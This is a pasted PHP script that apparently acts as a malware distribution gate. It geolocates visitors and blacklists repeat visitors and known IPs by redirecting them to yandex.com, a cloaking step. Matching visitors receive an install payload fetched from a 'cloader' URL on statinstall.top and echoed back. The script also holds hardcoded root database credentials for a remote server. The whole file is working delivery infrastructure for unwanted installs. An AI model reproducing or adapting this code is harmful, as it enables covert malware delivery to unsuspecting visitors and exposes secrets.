Advertisement
Guest User

Untitled

a guest
Mar 12th, 2019
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.58 KB | None | 0 0
  1. <?php
  2. error_reporting(-1); // reports all errors
  3. ini_set("display_errors", "1"); // shows all errors
  4. ini_set("log_errors", 1);
  5. require 'vendor/autoload.php';
  6. use GeoIp2\Database\Reader;
  7. $host = '185.203.118.216';
  8. $db   = 'traffic';
  9. $user = 'root';
  10. $pass = 'EdQe4ud06H';
  11. $charset = 'utf8';
  12.  
  13. $dsn = "mysql:host=$host;dbname=$db;charset=$charset";
  14. $opt = [
  15.     PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
  16.     PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
  17.     PDO::ATTR_EMULATE_PREPARES   => false,
  18. ];
  19. $pdo = new PDO($dsn, $user, $pass, $opt);
  20.  
  21. $url = "http://www.statinstall.top/111/rgfdrw/fgdf434/cloader";
  22. $offer = 2;
  23.  
  24.  
  25.  
  26. $ip = getIP();
  27.  
  28. if (strpos($ip, ',') !== false) {
  29.     $ip_arr = explode(",", $ip);
  30.     $ip = $ip_arr[0];
  31.  
  32. }
  33.  
  34. $reader = new Reader('GeoIP2-City.mmdb');
  35.  
  36. try{
  37.  
  38.     $reader = new Reader('GeoIP2-City.mmdb');
  39.  
  40.     $record = $reader->city($ip);
  41.     $country = $record->country->name;
  42.     $cc  =   $record->country->isoCode;
  43. //add to db info
  44.  
  45. }
  46. catch (GeoIp2\Exception\AddressNotFoundException $e ){
  47.     $country = "Not found";
  48.     $cc = "CA";
  49. }
  50.  
  51.  
  52.  
  53.  
  54.  
  55.  
  56. //////black list
  57.  
  58. $a = $pdo->prepare('select * from ip_blacklist where ip = :ip limit 1');
  59. $a->bindParam(':ip', $ip);
  60.  
  61. $a->execute();
  62.  
  63.  
  64.  
  65. if ($a->rowCount() > 0)
  66. {
  67.     //count++
  68.     header('Location: http://yandex.com/');
  69.     exit;
  70. }
  71.  
  72. $b = $pdo->prepare('select * from `hits` where ip = :ip limit 1');
  73. $b->bindParam(':ip', $ip);
  74.  
  75. $b->execute();
  76.  
  77.  
  78.  
  79. if ($b->rowCount() > 0)
  80. {
  81.  
  82.     $s = $pdo->prepare('insert into ip_blacklist (ip, hit_count) values (:ip, 0)');
  83.     $s->bindParam(':ip', $ip);
  84.  
  85.  
  86.     $s->execute();
  87.  
  88.     header('Location: http://yandex.com/');
  89.  
  90.  
  91.     exit;
  92. }
  93. //black list end
  94.  
  95.  
  96.  
  97.  
  98.  
  99.  
  100. $stmt = $pdo->prepare('
  101. select * from `traffic_task` where `status` = "work" and `oq` = 1 and exists (select `cc` from `traffic_task_country` where `traffic_task`.`id` = `traffic_task_country`.`task_id` and `cc` = :cc) and not exists (select `cc` from `traffic_task_country_black` where `traffic_task`.`id` = `traffic_task_country_black`.`task_id` and `cc` = :cc) and `traffic_task`.`intsllas` < `traffic_task`.`amout` or not exists (select * from `traffic_task_country` where `traffic_task`.`id` = `traffic_task_country`.`task_id`) and not exists (select `cc` from `traffic_task_country_black` where `traffic_task`.`id` = `traffic_task_country_black`.`task_id` and `cc` = :cc) and `status` = "work" and `oq` = 1 and `traffic_task`.`intsllas` < `traffic_task`.`amout` order by `last_install`  limit 1');
  102. $stmt->bindParam(':cc', $cc);
  103. $stmt->execute();
  104.  
  105. if ($stmt->rowCount() > 0)
  106. {
  107.     $res = $stmt->fetchAll();
  108.     $q =  $pdo->prepare('insert into `hits` (`ip`, `country`, `task_id`, `offer_id`, `created_at`) values (:ip, :country, :task_id, :offer_id, :date )');
  109.     $q->bindParam(':ip', $ip);
  110.      $date = date('Y-m-d H:i:s');
  111.     $q->bindParam(':date', $date);
  112.     $q->bindParam(':task_id', $res[0]['id']);
  113.     $q->bindParam(':country', $country);
  114.     $q->bindParam(':offer_id', $offer);
  115.     $q->execute();
  116.     $date = date('Y-m-d H:i:s');
  117.     $stmt = $pdo->prepare('update `traffic_task` set `last_install` = :date , `intsllas` = `intsllas` + 1  where `id` = :task_id limit 1');
  118.     $stmt->bindParam(':date', $date);
  119.     $stmt->bindParam(':task_id', $res[0]['id']);
  120.     $stmt->execute();
  121.  
  122.     $txt = $url . $res[0]['file_txt'];
  123.  
  124.     echo file_get_contents($txt);
  125.  
  126.  
  127.  
  128.  
  129.  
  130. }
  131. else
  132. {
  133.  
  134.     //таск в очереди
  135.     $stmt = $pdo->prepare('select * from `traffic_task` where `status` = "work" and exists (select `cc` from `traffic_task_country` where `traffic_task`.`id` = `traffic_task_country`.`task_id` and `cc` = :cc) and not exists (select `cc` from `traffic_task_country_black` where `traffic_task`.`id` = `traffic_task_country_black`.`task_id` and `cc` = :cc) and `traffic_task`.`intsllas` < `traffic_task`.`amout` or not exists (select * from `traffic_task_country` where `traffic_task`.`id` = `traffic_task_country`.`task_id`) and not exists (select `cc` from `traffic_task_country_black` where `traffic_task`.`id` = `traffic_task_country_black`.`task_id` and `cc` = :cc) and `status` = "work" and `traffic_task`.`intsllas` < `traffic_task`.`amout` order by `last_install`  limit 1');
  136.  
  137.     $stmt->bindParam(':cc', $cc);
  138.     $stmt->execute();
  139.  
  140.     if ($stmt->rowCount() > 0)
  141.     {
  142.         $res = $stmt->fetchAll();
  143.         $date = date('Y-m-d H:i:s');
  144.         $q =  $pdo->prepare('insert into `hits` (`ip`, `country`, `task_id`, `offer_id`, `created_at`) values (:ip, :country, :task_id, :offer_id, :date )');
  145.         $q->bindParam(':ip', $ip);
  146.         $q->bindParam(':date', $date);
  147.         $q->bindParam(':task_id', $res[0]['id']);
  148.         $q->bindParam(':country', $country);
  149.         $q->bindParam(':offer_id', $offer);
  150.         $q->execute();
  151.  
  152.         $date = date('Y-m-d H:i:s');
  153.         $stmt = $pdo->prepare('update `traffic_task` set `last_install` = :date , `intsllas` = `intsllas` + 1 where `id` = :task_id limit 1');
  154.         $stmt->bindParam(':date', $date);
  155.         $stmt->bindParam(':task_id', $res[0]['id']);
  156.         $stmt->execute();
  157.  
  158.         $txt = $url . $res[0]['file_txt'];
  159.        
  160.         echo file_get_contents($txt);
  161.  
  162.  
  163.  
  164.  
  165.  
  166.     }
  167.     else
  168.     {
  169.  
  170.         //таска нет
  171.  
  172.  
  173.  
  174.     }
  175.  
  176.  
  177. }
  178.  
  179.  
  180.  
  181.  
  182.  
  183.  
  184.  
  185.  
  186.  
  187.  
  188. function getIP()
  189. {
  190.     if (isset($_SERVER["HTTP_X_REAL_IP"]))
  191.         return $_SERVER["HTTP_X_REAL_IP"];
  192.     else if (isset($_SERVER["HTTP_X_FORWARDED_FOR"]))
  193.         return $_SERVER ["HTTP_X_FORWARDED_FOR"];
  194.     return $_SERVER['REMOTE_ADDR'];
  195. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement